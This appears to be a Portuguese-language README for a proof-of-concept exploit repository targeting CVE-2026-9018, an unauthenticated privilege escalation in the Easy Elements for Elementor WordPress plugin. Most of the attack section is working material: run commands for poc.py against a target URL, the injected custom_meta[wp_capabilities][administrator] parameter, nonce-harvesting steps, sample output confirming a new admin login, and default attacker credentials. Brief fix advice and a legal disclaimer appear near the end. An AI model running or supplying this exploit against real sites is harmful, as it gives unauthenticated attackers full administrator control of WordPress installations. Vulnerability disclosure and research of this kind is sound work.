
Escalação de Privilégios Não Autenticada CVE-2026-9018: Easy Elements for Elementor
Pesquisa por: Atomic Edge Severidade: Alta | CVSS: 8.8 | Autenticação necessária: Nenhuma
Existe uma vulnerabilidade de escalação de privilégios sem autenticação no plugin WordPress Easy Elements for Elementor – Addons & Website Templates (versões ≤ 1.4.5). A função easyel_handle_register(), exposta pelo handler AJAX wp_ajax_nopriv_eel_register, repassa os valores POST custom_meta controlados pelo atacante diretamente para update_user_meta() sem nenhuma lista de permissões de chaves. Isso permite que um atacante não autenticado sobrescreva a chave de meta wp_capabilities e crie uma conta de nível administrador.
Antes da exploração, as seguintes condições precisam ser atendidas no site alvo:
Settings → General → Anyone can register)easy_elements_nonce no DOM da página.pip install requests
# Basic — nonce fetched from homepage
python3 poc.py -u https://target.com
# Custom credentials
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!
# Widget is on /login/ page
python3 poc.py -u https://target.com --nonce-page /login/
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
# Skip post-exploit login check
python3 poc.py -u https://target.com --skip-verify-login
[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5
[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email : [email protected]
[*] Role : administrator (via wp_capabilities override)
[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!
┌─────────────────────────────────────────┐
│ WP Admin : https://target.com/wp-admin/
│ Username : atomic_admin
│ Password : Atomic@Edge2026!
└─────────────────────────────────────────┘
O exploit segue um processo de duas etapas:
Etapa 1 — Coleta de nonce
O widget Login/Register do Elementor do plugin renderiza um campo oculto easy_elements_nonce no HTML da página. Esse nonce é publicamente acessível a qualquer visitante não autenticado e é extraído por meio de regex do código-fonte da página.
Etapa 2 — Registro Malicioso
Uma requisição POST é enviada para /wp-admin/admin-ajax.php com action=eel_register. O array custom_meta é criado para incluir:
custom_meta[wp_capabilities][administrator] = 1
Como easyel_handle_register() repassa todas as chaves custom_meta diretamente para update_user_meta() sem uma lista de permissões, a meta de usuário wp_capabilities é sobrescrita após o registro, concedendo ao novo usuário privilégios totais de administrador.
Os desenvolvedores devem aplicar as seguintes correções em easyel_handle_register():
custom_meta permitidas (ex.: first_name, last_name, phone)wp_capabilities, wp_user_level, session_tokenswp_insert_user() se não for necessário→ Atualize para Easy Elements for Elementor 1.4.6 ou superior imediatamente.
Este repositório destina-se somente a pesquisas de segurança autorizadas e fins educacionais. Não use esta ferramenta contra qualquer sistema sem permissão explícita por escrito do proprietário do sistema. O uso não autorizado pode violar a CFAA (EUA), o Criminal Code s.342.1 (Canadá), a Diretiva NIS2 da UE e outras leis aplicáveis. Os autores não aceitam nenhuma responsabilidade por uso indevido ou danos decorrentes deste código.
| Propriedade | Detalhe |
|---|
| Plugin | Easy Elements for Elementor – Addons & Website Templates (easy-elements) |
| Afetado | ≤ 1.4.5 |
| Corrigido em | 1.4.6+ |
| Vetor | Rede / Sem autenticação |
| CWE | CWE-269: Gerenciamento inadequado de privilégios |
| Ação AJAX | eel_register (nopriv) |
| Flag | Descrição | Padrão |
|---|
-u, --url | URL do WordPress alvo | (obrigatório) |
-U, --username | Nome de usuário para a nova conta de administrador | atomic_admin |
-e, --email | E-mail para a nova conta de administrador | [email protected] |
-p, --password | Senha para a nova conta de administrador | Atomic@Edge2026! |
-np, --nonce-page | Caminho da página que contém o widget Login/Register | / |
--no-verify | Desativar verificação de certificado SSL | false |
--skip-verify-login | Pular verificação de login de administrador do WP pós-exploração | false |